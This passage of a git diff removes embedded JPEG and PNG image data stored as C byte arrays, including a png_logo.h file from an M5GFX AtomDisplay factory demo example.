0x80, 0x1b, 0x2b, 0x50, 0x36, 0x80, 0x1d, 0xa7, 0xb8, -0x53, 0x3c, 0xd1, 0xe5, 0xf6, 0x54, 0xfc, 0xc4, 0x01, 0x7a, 0x41, 0x4a, 0xac, 0x09, 0xde, 0xd1, -0x46, 0x98, 0x14, 0x2c, 0x05, 0x81, 0x88, 0xb3, 0x02, 0x54, 0xe0, 0x4d, 0xed, 0xce, 0x2c, 0x90, -0x10, 0xb5, 0xa9, 0x47, 0x9f, 0x48, 0xb2, 0x56, 0x01, 0x25, 0x4a, 0x04, 0x00, 0x4f, 0x38, 0x3b, -0x01, 0x4e, 0xa8, 0xa9, 0x46, 0xfd, 0x22, 0x17, 0x00, 0x20, 0xf1, 0x48, 0xb7, 0x70, 0x85, 0x90, -0x02, 0x9c, 0x52, 0xad, 0x63, 0x6f, 0x51, 0x85, 0x92, 0x02, 0x6e, 0x6d, 0xb1, 0xe7, 0x12, 0x01, -0x73, 0x7b, 0xc0, 0x07, 0x73, 0xde, 0x60, 0x03, 0x0b, 0x3a, 0x74, 0xc2, 0xc0, 0x41, 0x5d, 0xb9, -0x73, 0x80, 0x0b, 0xb4, 0x51, 0xe7, 0x00, 0x2a, 0xe0, 0xf9, 0xb0, 0x00, 0xe9, 0xb4, 0x38, 0x02, -0x75, 0x9e, 0xe1, 0x00, 0x02, 0xe1, 0xe6, 0x6d, 0x00, 0x16, 0xa3, 0x7b, 0xde, 0x00, 0x05, 0x64, -0xc0, 0x00, 0xb8, 0x60, 0x02, 0x06, 0xc6, 0xe2, 0x00, 0x0a, 0x70, 0x18, 0xae, 0xa0, 0x27, 0xb4, -0x3d, 0xc2, 0x1a, 0x98, 0x06, 0xb3, 0xdc, 0x21, 0xa9, 0x80, 0xd0, 0xad, 0x5c, 0xe2, 0x53, 0xb8, -0x02, 0xd5, 0x6e, 0x50, 0x6e, 0xc0, 0x22, 0xa3, 0xb5, 0x8f, 0x48, 0xab, 0x60, 0x90, 0xcb, 0x41, -0x84, 0x6a, 0x56, 0xea, 0x3d, 0x3b, 0xa3, 0xcb, 0xc5, 0xe2, 0x75, 0x3d, 0x31, 0xe0, 0xf6, 0x30, -0x78, 0x5d, 0x11, 0xd7, 0x2e, 0x43, 0x71, 0xd5, 0x2c, 0x14, 0x84, 0x84, 0xde, 0x38, 0x75, 0x36, -0x7a, 0x1a, 0x52, 0x22, 0xcf, 0x54, 0xd8, 0x91, 0x45, 0x82, 0xae, 0xab, 0x6f, 0x19, 0xec, 0x4d, -0xee, 0x56, 0x2b, 0x78, 0x81, 0x4a, 0x4a, 0xb4, 0xf3, 0xef, 0x8c, 0xa6, 0xd9, 0xa5, 0x34, 0x9b, -0x29, 0x75, 0x49, 0x9f, 0x1a, 0x52, 0x9c, 0x59, 0xb5, 0x8d, 0xcc, 0x56, 0x09, 0x3d, 0xd9, 0xd9, -0x0a, 0x92, 0x86, 0xd1, 0x31, 0x1c, 0xed, 0xc8, 0x2c, 0x23, 0x9e, 0x98, 0xc1, 0xbc, 0x4f, 0x82, -0x73, 0x2b, 0xc4, 0xb1, 0x5d, 0x29, 0x81, 0x2c, 0xf5, 0x32, 0x75, 0xdd, 0x52, 0xcf, 0x37, 0xe7, -0x24, 0x24, 0x0d, 0xdb, 0x57, 0x95, 0xbd, 0xaf, 0x7e, 0xe8, 0xe3, 0xa9, 0x1c, 0x36, 0x32, 0xaf, -0x4b, 0x56, 0x99, 0x7b, 0x78, 0x7f, 0xa1, 0xf5, 0x78, 0x2c, 0x46, 0x61, 0x94, 0x61, 0x95, 0x79, -0xd2, 0x73, 0xa4, 0xf7, 0xf4, 0x7d, 0x65, 0xd9, 0xfb, 0xff, 0x00, 0x06, 0x63, 0xf8, 0xbd, 0xbe, -0x28, 0x72, 0xea, 0xa3, 0x47, 0xc9, 0x19, 0x99, 0x26, 0xda, 0x7a, 0xbd, 0x30, 0xe7, 0x65, 0x51, -0x90, 0x98, 0xed, 0xd4, 0x96, 0x52, 0xa0, 0x08, 0x6d, 0x09, 0xf2, 0xb5, 0xaa, 0xf6, 0x17, 0xb7, -0x5e, 0xe8, 0xe5, 0xc4, 0xe0, 0x2b, 0xe0, 0x64, 0xa1, 0x51, 0xf3, 0xc5, 0xbb, 0x9f, 0x41, 0x97, -0x67, 0x39, 0x5e, 0x75, 0x07, 0x5a, 0x82, 0xf5, 0x76, 0x93, 0x6a, 0xd6, 0xf9, 0x9e, 0xcb, 0xc8, -0x0c, 0x98, 0xc6, 0xb8, 0x5b, 0x07, 0x33, 0x29, 0x88, 0x10, 0xd5, 0x2e, 0x55, 0xb9, 0x5d, 0x0d, -0xcb, 0xbc, 0xbe, 0xd1, 0xf5, 0x02, 0x9e, 0x6a, 0x03, 0x91, 0xef, 0xb9, 0xbc, 0x7a, 0x19, 0x76, -0x1a, 0xbe, 0x1e, 0xa2, 0xa8, 0xec, 0x92, 0xec, 0x7c, 0x97, 0x88, 0xf1, 0x58, 0x1c, 0x74, 0x65, -0x4e, 0x9b, 0x72, 0x93, 0xef, 0xd9, 0x7e, 0xa7, 0x6a, 0xa5, 0x43, 0xfa, 0x2f, 0x4b, 0xac, 0x4e, -0xa1, 0xf6, 0xd4, 0x6c, 0x54, 0x84, 0xd8, 0x83, 0xe9, 0x11, 0xf5, 0xf8, 0x5c, 0x64, 0x71, 0x2d, -0xab, 0x59, 0xae, 0xcc, 0xfc, 0xd3, 0x1d, 0x97, 0x55, 0xc0, 0xb4, 0xe4, 0xee, 0x9f, 0x71, 0xc9, -0x07, 0x42, 0x6d, 0xab, 0xa4, 0x74, 0xbe, 0x4f, 0x3c, 0xea, 0x4b, 0x38, 0x35, 0x5d, 0x31, 0x52, -0xeb, 0x83, 0xb3, 0x4d, 0x75, 0x4a, 0xb6, 0xf1, 0x0f, 0x82, 0x49, 0xd1, 0x40, 0x08, 0x00, 0x40, -0x02, 0x00, 0x25, 0x12, 0x05, 0xc4, 0x00, 0x41, 0x67, 0xa8, 0x80, 0x25, 0xc8, 0x9b, 0xb4, 0x08, -0xfc, 0x23, 0x15, 0x97, 0x25, 0xd7, 0x04, 0xa4, 0x9b, 0x26, 0xe3, 0xa4, 0x57, 0x7b, 0x92, 0x7e, -0x76, 0x78, 0xdf, 0x97, 0x5f, 0xfb, 0x24, 0xb1, 0x44, 0xca, 0x1a, 0xbd, 0xeb, 0xd5, 0x00, 0x4d, -0xaf, 0xfb, 0x2d, 0xd3, 0x17, 0xf7, 0x15, 0x7c, 0x99, 0x47, 0x8c, 0xcc, 0xa4, 0x8d, 0x44, 0xde, -0xfb, 0x79, 0x02, 0x27, 0x72, 0x0b, 0x8e, 0x4f, 0x0a, 0xaa, 0xf1, 0xc5, 0x31, 0xd9, 0x67, 0x5b, -0xda, 0x71, 0xa2, 0xa5, 0x28, 0x0d, 0x40, 0x6a, 0x1c, 0x8f, 0x3e, 0x51, 0xad, 0x34, 0xee, 0x67, -0x52, 0xda, 0x4f, 0xa0, 0x58, 0x3a, 0x56, 0x6b, 0x0f, 0x4e, 0xe3, 0x0a, 0xdd, 0x56, 0xaf, 0xd8, -0xb1, 0x3b, 0x5e, 0x6d, 0xd5, 0x2d, 0x6a, 0x53, 0x41, 0x2c, 0x09, 0x56, 0x08, 0xb1, 0x1c, 0xc0, -0xb9, 0xdf, 0x96, 0xc6, 0x3b, 0xa2, 0xd4, 0x2f, 0x73, 0x86, 0xa7, 0xa5, 0x63, 0x9b, 0xc5, 0x9f, -0x84, 0x7b, 0x26, 0x6b, 0x39, 0x25, 0x88, 0x32, 0x3f, 0x2f, 0x04, 0xdd, 0x7b, 0xe9, 0xca, 0x33, -0xd4, 0xc9, 0xba, 0xbb, 0x73, 0x89, 0x12, 0x72, 0xba, 0xd1, 0xa1, 0x4b, 0x0e, 0x13, 0xd9, 0xac, -0xa7, 0xf0, 0x4a, 0xd0, 0xab, 0xf4, 0xe9, 0x19, 0x55, 0xc4, 0x46, 0xd6, 0x48, 0x53, 0xa6, 0xd4, -0x93, 0x3c, 0x19, 0x23, 0x9c, 0x58, 0x3f, 0x01, 0xe4, 0xeb, 0x99, 0x4f, 0x87, 0x30, 0xcc, 0x92, -0xe6, 0x2a, 0x98, 0x99, 0xb9, 0xba, 0xde, 0x21, 0x6a, 0x7c, 0xcc, 0x4c, 0x26, 0x54, 0x34, 0xa6, -0xbc, 0x5d, 0x16, 0x4a, 0x50, 0x0f, 0x96, 0xe2, 0xef, 0xa7, 0x6b, 0x73, 0xe9, 0x1c, 0xaf, 0x53, -0x85, 0x8e, 0xb5, 0xa9, 0xbd, 0xce, 0x46, 0x32, 0xe1, 0x17, 0x0d, 0x67, 0x0c, 0xb2, 0x71, 0x6f, -0x0f, 0x18, 0xe9, 0xe9, 0xe3, 0x62, 0xe3, 0xf8, 0x5a, 0xa9, 0x2c, 0x84, 0xd5, 0x59, 0xea, 0x43, -0x21, 0x0a, 0xd1, 0x3e, 0x06, 0xe7, 0xec, 0x44, 0x39, 0x63, 0x6e, 0xca, 0xfb, 0xc1, 0xa6, 0xcb, -0xc6, 0x49, 0x6c, 0xcf, 0x3a, 0xe3, 0x0c, 0x11, 0x5e, 0xc2, 0xf5, 0x67, 0xa8, 0xf5, 0x09, 0x7e, -0xd1, 0x72, 0xae, 0x29, 0xb7, 0xfb, 0x36, 0xd6, 0x14, 0x85, 0x0e, 0x61, 0x48, 0x58, 0x4a, 0xdb, -0x23, 0xa8, 0x50, 0x04, 0x1e, 0x62, 0x32, 0xe0, 0xad, 0x39, 0xa7, 0x26, 0x7d, 0x1d, 0xc9, 0x25, -0x66, 0x46, 0x05, 0xe0, 0x87, 0x87, 0xfa, 0x07, 0xf6, 0x1f, 0xaa, 0xcc, 0x49, 0x54, 0x6b, 0xb3, -0xf3, 0x48, 0xa8, 0x35, 0x2e, 0xca, 0x93, 0x3b, 0xe3, 0x09, 0x9b, 0x29, 0x6d, 0xb2, 0x16, 0x48, -0x58, 0x49, 0x52, 0x88, 0x5a, 0x53, 0xe6, 0xc6, 0xd1, 0x4f, 0x4e, 0xc4, 0xc9, 0xad, 0x4c, 0x83, -0x98, 0x78, 0x06, 0xb3, 0x2d, 0x59, 0x71, 0x53, 0xf8, 0x75, 0xc4, 0x25, 0x60, 0x2f, 0xca, 0x6c, -0xa4, 0xa4, 0x91, 0x72, 0x36, 0xb8, 0x24, 0x7a, 0x0d, 0xa2, 0xce, 0x23, 0x5a, 0xe0, 0xe6, 0xe5, -0x9e, 0x1e, 0x52, 0x9a, 0x28, 0x4a, 0x1d, 0x69, 0x42, 0x79, 0xe0, 0x52, 0xab, 0x5c, 0xfd, 0x95, -0x51, 0x68, 0x2b, 0x6c, 0x62, 0x99, 0xec, 0x6e, 0x1a, 0x28, 0xb2, 0x52, 0xd4, 0x5f, 0x15, 0x9b, -0x94, 0x4b, 0x8d, 0xa9, 0x1a, 0x55, 0xad, 0x90, 0x41, 0xef, 0x04, 0xf5, 0xbc, 0x75, 0x46, 0x29, -0x23, 0x19, 0x4b, 0x70, 0x70, 0x65, 0x95, 0xb8, 0x1f, 0x0d, 0xe2, 0xbc, 0xc3, 0xc5, 0x14, 0xbc, -0x37, 0x23, 0x2f, 0x35, 0x37, 0x8c, 0xe7, 0x84, 0xbc, 0xc2, 0x25, 0x92, 0x92, 0x86, 0x92, 0xfb, -0x88, 0x29, 0x42, 0x80, 0xd9, 0x3b, 0x5a, 0xc3, 0x9d, 0xa2, 0x90, 0xb5, 0xd9, 0x11, 0x6f, 0x42, -0x2f, 0x99, 0xa0, 0xcc, 0xfc, 0xac, 0x83, 0x8e, 0xcb, 0xd5, 0x98, 0x97, 0x23, 0xef, 0x9c, 0xb2, -0x87, 0xb6, 0xfe, 0xb8, 0xbd, 0x99, 0x27, 0xcb, 0xbc, 0xd5, 0xcc, 0xdc, 0x47, 0x90, 0xfc, 0x56, -0xe6, 0x5e, 0x69, 0xe1, 0x8a, 0xbc, 0x97, 0x8f, 0xb3, 0x20, 0xc4, 0xb3, 0x05, 0xc9, 0x64, 0x3c, -0x87, 0xdc, 0x99, 0x42, 0x08, 0xb2, 0x55, 0x71, 0x70, 0x5b, 0xd5, 0x7e, 0x62, 0xdb, 0x47, 0x05, -0x6b, 0x29, 0xc9, 0xb3, 0xae, 0x97, 0xa8, 0x8f, 0x2d, 0x55, 0xb1, 0xad, 0x7b, 0x0a, 0x52, 0x1c, -0xcc, 0x69, 0x39, 0xc7, 0x15, 0x50, 0x95, 0x7d, 0x99, 0xb0, 0xea, 0x95, 0xe5, 0x2d, 0x7d, 0xba, -0x54, 0xab, 0xfa, 0x0e, 0xe0, 0xfa, 0x0c, 0x67, 0x6d, 0x8d, 0xaf, 0xb9, 0xed, 0x69, 0x3c, 0x69, -0x4e, 0x9b, 0xa6, 0x4b, 0xd4, 0x19, 0x71, 0x29, 0x43, 0xec, 0xa5, 0xc4, 0x0d, 0x80, 0x01, 0x49, -0x07, 0xf3, 0xc5, 0x09, 0xd9, 0x19, 0xbe, 0x67, 0xe2, 0xb4, 0x1c, 0x6d, 0x24, 0x89, 0x14, 0xea, -0x75, 0xf9, 0x20, 0xda, 0x2d, 0xb9, 0x24, 0xbe, 0x83, 0x12, 0x8c, 0x5e, 0xd5, 0x7e, 0x06, 0xfb, -0xc7, 0x5d, 0x46, 0x5f, 0x0c, 0xe1, 0xcc, 0xb1, 0xc8, 0xb6, 0x96, 0x03, 0x94, 0x5a, 0x00, 0xa8, -0xcf, 0xb6, 0x9d, 0xb4, 0xbf, 0x30, 0x74, 0xee, 0x3b, 0xca, 0x59, 0x0a, 0xfe, 0x1c, 0x52, 0x7c, -0x5c, 0xde, 0x37, 0xe0, 0xfb, 0xd4, 0x52, 0xb7, 0x14, 0xab, 0xa0, 0xdf, 0xf1, 0x79, 0xde, 0xd1, -0xa1, 0x40, 0xf5, 0x10, 0xbd, 0x03, 0xa7, 0x9a, 0x95, 0x0e, 0xbe, 0xde, 0x70, 0xe0, 0x12, 0xe8, -0x40, 0xa6, 0xa0, 0xd6, 0xab, 0x0d, 0x4b, 0x36, 0x03, 0xba, 0x25, 0x72, 0x19, 0xae, 0xa1, 0x4b, -0xb0, 0x01, 0x42, 0xd6, 0xe9, 0x1c, 0x8e, 0xc7, 0x5a, 0xb8, 0x19, 0x7b, 0xb4, 0x70, 0xb7, 0xf8, -0x23, 0x7d, 0xa1, 0x6d, 0x85, 0xf7, 0x1d, 0x88, 0x24, 0x81, 0x37, 0x62, 0xb5, 0x91, 0xd0, 0xda, -0x37, 0x86, 0xd1, 0x31, 0x97, 0x2c, 0x83, 0x30, 0x7b, 0xa3, 0x65, 0xc9, 0x52, 0x9b, 0x5f, 0x51, -0xfa, 0x52, 0x60, 0x77, 0x39, 0x0f, 0x23, 0x33, 0x22, 0xcc, 0xb3, 0x7c, 0x56, 0xe9, 0x4d, 0xf6, -0x69, 0xbf, 0x94, 0x5c, 0x15, 0xfd, 0x4a, 0xfc, 0x28, 0x00, 0x40, 0x0f, 0x48, 0x5d, 0x53, 0xcc, -0x82, 0x7f, 0x5d, 0x4f, 0xce, 0x00, 0xba, 0x95, 0x72, 0x49, 0xee, 0xe7, 0x00, 0x10, 0x58, 0xeb, -0x00, 0x19, 0x58, 0xe9, 0x00, 0x17, 0x69, 0xb7, 0x28, 0x00, 0xb5, 0x91, 0xb9, 0x31, 0x17, 0x40, -0x22, 0xf6, 0xb2, 0x6f, 0x11, 0xa8, 0x00, 0x29, 0x20, 0xf3, 0xe9, 0x13, 0x7b, 0x80, 0xcb, 0xb6, -0xb1, 0xb7, 0x5e, 0xf8, 0x30, 0x24, 0xb8, 0x47, 0x25, 0x44, 0x6a, 0xf2, 0x01, 0x76, 0x84, 0xf3, -0x10, 0xd4, 0x03, 0x0a, 0x04, 0x44, 0xea, 0x00, 0x0a, 0x06, 0x1a, 0x80, 0x45, 0x60, 0x1b, 0x01, -0x0d, 0x48, 0x06, 0x17, 0x73, 0x6b, 0x42, 0xe9, 0x80, 0x05, 0x83, 0xcf, 0x68, 0x5c, 0x00, 0xae, -0xc6, 0xc2, 0x21, 0xb0, 0x24, 0xb8, 0xa1, 0xbc, 0x45, 0xdb, 0x00, 0x2b, 0xd4, 0x2d, 0x6f, 0x8c, -0x4b, 0x77, 0x01, 0x17, 0x08, 0xd8, 0x9d, 0xa2, 0xa0, 0x04, 0x8d, 0xb4, 0x9b, 0xdf, 0x9f, 0xa2, -0x00, 0x22, 0x6c, 0x2f, 0x00, 0x0e, 0xd8, 0xda, 0xd6, 0x80, 0x08, 0xae, 0xfd, 0x3d, 0xf0, 0x00, -0x0b, 0xb7, 0x41, 0x00, 0x02, 0xb0, 0x39, 0x08, 0x00, 0xc2, 0x92, 0x60, 0x02, 0x73, 0x96, 0xc3, -0xac, 0x01, 0x22, 0x5d, 0x9e, 0xc0, 0x85, 0x38, 0x7c, 0xb2, 0x36, 0x49, 0xfb, 0xd8, 0xf3, 0xf1, -0x58, 0x95, 0xfb, 0x38, 0x7c, 0x4f, 0x57, 0x07, 0x84, 0xdb, 0xa9, 0x35, 0xee, 0x16, 0xf3, 0xa1, -0xb1, 0xad, 0x4a, 0xdf, 0xd3, 0x1e, 0x59, 0xea, 0xa5, 0x74, 0x71, 0x2b, 0x38, 0x91, 0x12, 0x9a, -0xb4, 0xb9, 0x63, 0xeb, 0x8a, 0xb6, 0x4b, 0x45, 0x6a, 0x77, 0x11, 0x38, 0xfa, 0xc9, 0x2e, 0x7b, -0xcc, 0x1b, 0x2a, 0x72, 0x2a, 0x95, 0x96, 0xd6, 0xd7, 0x66, 0x08, 0x37, 0xeb, 0x1c, 0xd3, 0x9d, -0xf6, 0x36, 0x84, 0x1a, 0xdc, 0xa0, 0xe6, 0x76, 0x39, 0x6f, 0x0e, 0xd2, 0x5c, 0x62, 0x4c, 0x12, -0xea, 0xd0, 0xab, 0x5b, 0xbe, 0xc6, 0xc3, 0xd6, 0x63, 0x3a, 0xb5, 0x7a, 0x74, 0xec, 0x8f, 0x57, -0x01, 0x46, 0x35, 0x6a, 0xde, 0x5c, 0x1e, 0x08, 0xc3, 0x79, 0xd5, 0x9a, 0xd9, 0xb1, 0x9f, 0x55, -0x96, 0xb2, 0x62, 0x93, 0x3d, 0x3a, 0x59, 0xac, 0xbc, 0x87, 0x27, 0x5a, 0x6c, 0xe9, 0x4e, 0x95, -0x94, 0xa5, 0x20, 0xf2, 0xe4, 0x9e, 0x64, 0x80, 0x07, 0x33, 0x1c, 0x55, 0x30, 0xea, 0xa4, 0x6e, -0xf9, 0x3e, 0xf2, 0x86, 0x3a, 0x38, 0x6a, 0x7a, 0x24, 0xfd, 0x15, 0xe6, 0x7d, 0x04, 0xca, 0xfc, -0x39, 0x50, 0x6e, 0xa9, 0x4d, 0xcc, 0x6c, 0x7f, 0x24, 0xc3, 0xb8, 0x8e, 0x5e, 0x94, 0xdc, 0xa2, -0x9f, 0x4a, 0xb5, 0x25, 0x91, 0x72, 0xa5, 0x68, 0xb8, 0xd8, 0xa8, 0xab, 0x73, 0xcc, 0xd8, 0x74, -0x8e, 0xca, 0x4e, 0xac, 0x94, 0x5d, 0x67, 0x77, 0x15, 0x65, 0xee, 0x3e, 0x53, 0x17, 0x5b, 0x09, -0x4d, 0x54, 0xa7, 0x84, 0x56, 0x8c, 0xe5, 0xa9, 0xfb, 0xf6, 0xfd, 0x0d, 0x4a, 0x5b, 0x30, 0x65, -0x66, 0x14, 0x65, 0x26, 0x5c, 0xb2, 0xad, 0xb5, 0xcc, 0x75, 0xc2, 0xba, 0x6e, 0xc7, 0x87, 0x5e, -0x84, 0xb4, 0xea, 0x4c, 0xe6, 0x54, 0x14, 0xaf, 0x18, 0x75, 0xa4, 0xaa, 0xe1, 0xc5, 0x85, 0x9f, -0x46, 0xdf, 0xd7, 0x1e, 0xf6, 0x5f, 0x41, 0xc3, 0xfc, 0x47, 0xdc, 0xf9, 0xdc, 0xdb, 0x1b, 0xd6, -0x8c, 0x68, 0x2e, 0x23, 0xcf, 0xbc, 0x44, 0xba, 0x42, 0x48, 0x06, 0x3d, 0x19, 0x1e, 0x21, 0xd0, -0x93, 0x73, 0x72, 0x00, 0x8a, 0x92, 0x8e, 0xfd, 0x20, 0x10, 0x35, 0x28, 0x73, 0x11, 0x56, 0x5c, -0xe8, 0x02, 0x0f, 0x23, 0x15, 0x01, 0x15, 0x01, 0x00, 0x16, 0xb3, 0x7e, 0x42, 0x00, 0x1d, 0xa7, -0xa2, 0x00, 0x22, 0xa2, 0x79, 0xc0, 0x09, 0x52, 0xb4, 0xf4, 0x80, 0x25, 0x48, 0xac, 0xf6, 0x5d, -0xdb, 0x98, 0xac, 0xb9, 0x2c, 0x91, 0x29, 0xb2, 0x74, 0x91, 0x15, 0x26, 0xe7, 0xe7, 0xc3, 0x8d, -0x44, 0x21, 0xbe, 0x20, 0xb1, 0x48, 0x59, 0x03, 0xfb, 0xa0, 0xa8, 0x11, 0xdf, 0xfa, 0xa9, 0xd8, -0xd1, 0x2d, 0x8a, 0xbe, 0x4c, 0xc3, 0x0c, 0xd3, 0x19, 0xac, 0x62, 0x29, 0x2a, 0x4b, 0xcf, 0x21, -0x94, 0xcc, 0xcd, 0xb6, 0xd2, 0xdf, 0x71, 0x24, 0xa5, 0xa4, 0xa9, 0x56, 0x2a, 0x23, 0x99, 0xb0, -0x37, 0xb0, 0xe7, 0x68, 0xb2, 0x89, 0x0d, 0xd9, 0x1a, 0xde, 0x15, 0xac, 0xe0, 0x7c, 0x3b, 0x3a, -0x97, 0x72, 0xb7, 0x05, 0xbd, 0x56, 0x7d, 0x95, 0x25, 0x48, 0xc4, 0x38, 0x93, 0x66, 0xc5, 0x8f, -0xdd, 0x19, 0x94, 0x64, 0x92, 0xae, 0xf1, 0xad, 0x4a, 0xbe, 0xdb, 0x74, 0x1a, 0xc5, 0x3e, 0xc6, -0x12, 0x77, 0xe4, 0xd4, 0x32, 0x0f, 0x04, 0x51, 0x78, 0xc1, 0xc7, 0x55, 0x2a, 0x06, 0x77, 0xe3, -0xec, 0x63, 0x5b, 0x12, 0x53, 0xba, 0x59, 0x66, 0x56, 0x9e, 0xe4, 0x85, 0x38, 0xa1, 0x28, 0x4f, -0x92, 0xbd, 0x29, 0xd2, 0xdb, 0x80, 0x9b, 0x00, 0x9d, 0x24, 0x8b, 0x1d, 0xcc, 0x6d, 0x4a, 0x92, -0x9c, 0x9e, 0xad, 0xcc, 0x2a, 0x4b, 0x42, 0xf4, 0x6c, 0x57, 0xf3, 0x1f, 0x17, 0x70, 0x27, 0xc3, -0x87, 0x11, 0x39, 0x83, 0x90, 0x73, 0xd9, 0x20, 0xfc, 0xf4, 0xdc, 0xe5, 0x39, 0x14, 0xec, 0x27, -0x54, 0x75, 0xe3, 0x38, 0xcd, 0x16, 0x68, 0xca, 0x1d, 0x45, 0x68, 0x7d, 0xc2, 0x6e, 0xa7, 0x54, -0x95, 0x76, 0x9e, 0x51, 0x48, 0xb5, 0xb6, 0xbc, 0x44, 0x9d, 0x3a, 0x73, 0x71, 0xb1, 0x68, 0xaa, -0x93, 0x82, 0x77, 0x3c, 0xd9, 0x87, 0x3f, 0xb1, 0xd5, 0x03, 0x26, 0x71, 0x2b, 0x2a, 0x5c, 0xbb, -0x35, 0x67, 0xd6, 0xd0, 0xa7, 0x15, 0x6c, 0xa5, 0x34, 0xb4, 0x38, 0x6c, 0x01, 0xfb, 0xe3, 0xa5, -0x04, 0xf7, 0x15, 0x11, 0x18, 0x5f, 0x66, 0xce, 0x87, 0x74, 0xd2, 0x32, 0x79, 0x6a, 0xad, 0x73, -0x00, 0xd6, 0x8d, 0x57, 0x09, 0x57, 0x66, 0xa5, 0x16, 0xa7, 0x0b, 0x84, 0x21, 0x64, 0xa0, 0x9b, -0xde, 0xfa, 0x49, 0x23, 0xbb, 0xa5, 0xe0, 0x89, 0x92, 0xb9, 0xa2, 0xd3, 0x78, 0x89, 0xc1, 0xd9, -0x8e, 0x95, 0xd3, 0xb8, 0x8c, 0xc1, 0xeb, 0xab, 0xbc, 0xf3, 0x89, 0xec, 0x71, 0x35, 0x35, 0xe2, -0xcd, 0x4a, 0x5a, 0xc8, 0x4a, 0x00, 0x0b, 0x20, 0x87, 0x92, 0x02, 0x7c, 0xc7, 0x42, 0xc0, 0xdf, -0x4e, 0x93, 0xbc, 0x47, 0x2e, 0xcc, 0xc9, 0x25, 0xaa, 0x47, 0xa5, 0x78, 0x68, 0xae, 0x66, 0x65, -0x22, 0x95, 0x87, 0x70, 0x96, 0x13, 0xce, 0xc4, 0x62, 0xac, 0x01, 0x48, 0x9e, 0x35, 0x2a, 0x6d, -0x06, 0x66, 0x53, 0xb1, 0x9d, 0xa6, 0x2b, 0x59, 0xfb, 0x22, 0x5a, 0x20, 0xac, 0xa4, 0xa5, 0x6e, -0x05, 0xf6, 0x6a, 0x5b, 0x77, 0xdc, 0xda, 0xfb, 0x5e, 0x2b, 0x4b, 0xe4, 0x97, 0xc1, 0xba, 0x66, -0x4c, 0xce, 0x1c, 0xc4, 0x15, 0x4e, 0xde, 0x5d, 0xc5, 0x95, 0x4c, 0x21, 0x2b, 0x69, 0xc6, 0xa6, -0x02, 0xf5, 0xde, 0xc4, 0x10, 0x8b, 0xfa, 0x63, 0x58, 0xa4, 0xca, 0xbe, 0x4a, 0xf6, 0x58, 0x61, -0x67, 0x66, 0x83, 0xae, 0x21, 0x97, 0x05, 0xea, 0x53, 0x40, 0xa9, 0x68, 0x4a, 0x4f, 0xdd, 0xd6, -0x39, 0x91, 0x7e, 0xee, 0xf8, 0xd2, 0x11, 0x4f, 0x73, 0x05, 0x2b, 0x44, 0xdf, 0xf0, 0x15, 0x1a, -0x66, 0x95, 0x4b, 0xec, 0xd4, 0x59, 0xba, 0x80, 0xd2, 0x74, 0xdd, 0x7b, 0xf7, 0x11, 0xa6, 0x35, -0x92, 0xd8, 0xaa, 0xde, 0x44, 0xfe, 0x18, 0x30, 0xc3, 0x07, 0x0e, 0x55, 0xa6, 0xa6, 0x9c, 0x9c, -0x2a, 0x7b, 0x11, 0xd5, 0x75, 0xe8, 0x7c, 0xa0, 0x1b, 0x4f, 0x3e, 0x37, 0xd2, 0x41, 0x3c, 0xba, -0xde, 0x33, 0x82, 0xee, 0x20, 0xfd, 0x12, 0xd1, 0x8d, 0x30, 0x1d, 0x1e, 0x6e, 0x5d, 0x68, 0xd3, -0x30, 0xd8, 0x52, 0x7c, 0xf0, 0xb0, 0xa5, 0x0d, 0xfb, 0xd5, 0x72, 0x7d, 0xa6, 0x2e, 0x5a, 0xe7, -0xc7, 0x1f, 0x08, 0xbc, 0x82, 0xe8, 0xdc, 0x63, 0x62, 0xda, 0x43, 0x33, 0x0e, 0xb8, 0xc2, 0x5b, -0x93, 0x2a, 0x52, 0xcf, 0x9c, 0xaf, 0x17, 0x41, 0xb9, 0xb6, 0xdc, 0x94, 0x7d, 0xe6, 0x38, 0x2b, -0xfe, 0xd1, 0xa3, 0xb6, 0x92, 0xf4, 0x11, 0x84, 0x62, 0xaa, 0x5c, 0xdd, 0x5f, 0x2f, 0xe6, 0xe4, -0xa5, 0xd2, 0x92, 0xb1, 0x26, 0x97, 0x08, 0x26, 0xdb, 0x36, 0xb0, 0xa5, 0x7c, 0x04, 0x65, 0xd8, -0xbf, 0xef, 0x1e, 0x81, 0xca, 0xea, 0xe4, 0xce, 0x30, 0xcb, 0x29, 0x6a, 0xdc, 0x8c, 0xda, 0x90, -0x99, 0x36, 0xd8, 0x95, 0x52, 0x5c, 0x40, 0x4e, 0xa5, 0x00, 0xa4, 0xab, 0x7b, 0xf4, 0x2d, 0x9e, -0x9d, 0x46, 0xf1, 0x4d, 0xae, 0x4d, 0x88, 0xf5, 0x0a, 0xb4, 0xa4, 0xde, 0x65, 0xe1, 0x79, 0x29, -0xba, 0x52, 0x10, 0xe5, 0x3d, 0xe4, 0xbb, 0x34, 0xf2, 0x5f, 0x2a, 0x33, 0x24, 0xcc, 0x20, 0x84, -0x9b, 0x8f, 0x24, 0x69, 0x00, 0x41, 0x27, 0x73, 0x3f, 0xf5, 0xcb, 0xdc, 0x6d, 0x1c, 0x51, 0xd6, -0xde, 0xcc, 0xbe, 0x36, 0x9e, 0xa3, 0x54, 0x2a, 0x12, 0x52, 0xac, 0xce, 0x48, 0x4a, 0x1f, 0x1a, -0x0f, 0x05, 0x78, 0xab, 0x68, 0x94, 0xba, 0x11, 0xa2, 0xf7, 0x24, 0x76, 0x7e, 0x57, 0x71, 0x58, -0x37, 0x37, 0xb4, 0x4c, 0x29, 0x75, 0x5d, 0xae, 0x69, 0x2a, 0x9a, 0x1d, 0xed, 0x73, 0xff, 0xd9, -}; diff --git a/components/M5GFX/examples/Demo/AtomDisplay_Factory/png_logo.h b/components/M5GFX/examples/Demo/AtomDisplay_Factory/png_logo.h deleted file mode 100644 index aee90c08..00000000 --- a/components/M5GFX/examples/Demo/AtomDisplay_Factory/png_logo.h +++ /dev/null @@ -1,795 +0,0 @@ -static constexpr const unsigned char png_logo[12701] = { -0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, -0x00, 0x00, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x82, 0x08, 0x03, 0x00, 0x00, 0x00, 0x03, 0x82, 0x2d, -0xfe, 0x00, 0x00, 0x03, 0x00, 0x50, 0x4c, 0x54, 0x45, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, -0xff, 0xfd, 0xfe, 0xff, 0xff, 0xfe, 0xff, 0xfe, 0xfe, 0xff, 0xfd, 0xff, 0xfe, 0xff, 0xfd, 0xff, -0xff, 0xff, 0xfe, 0xfe, 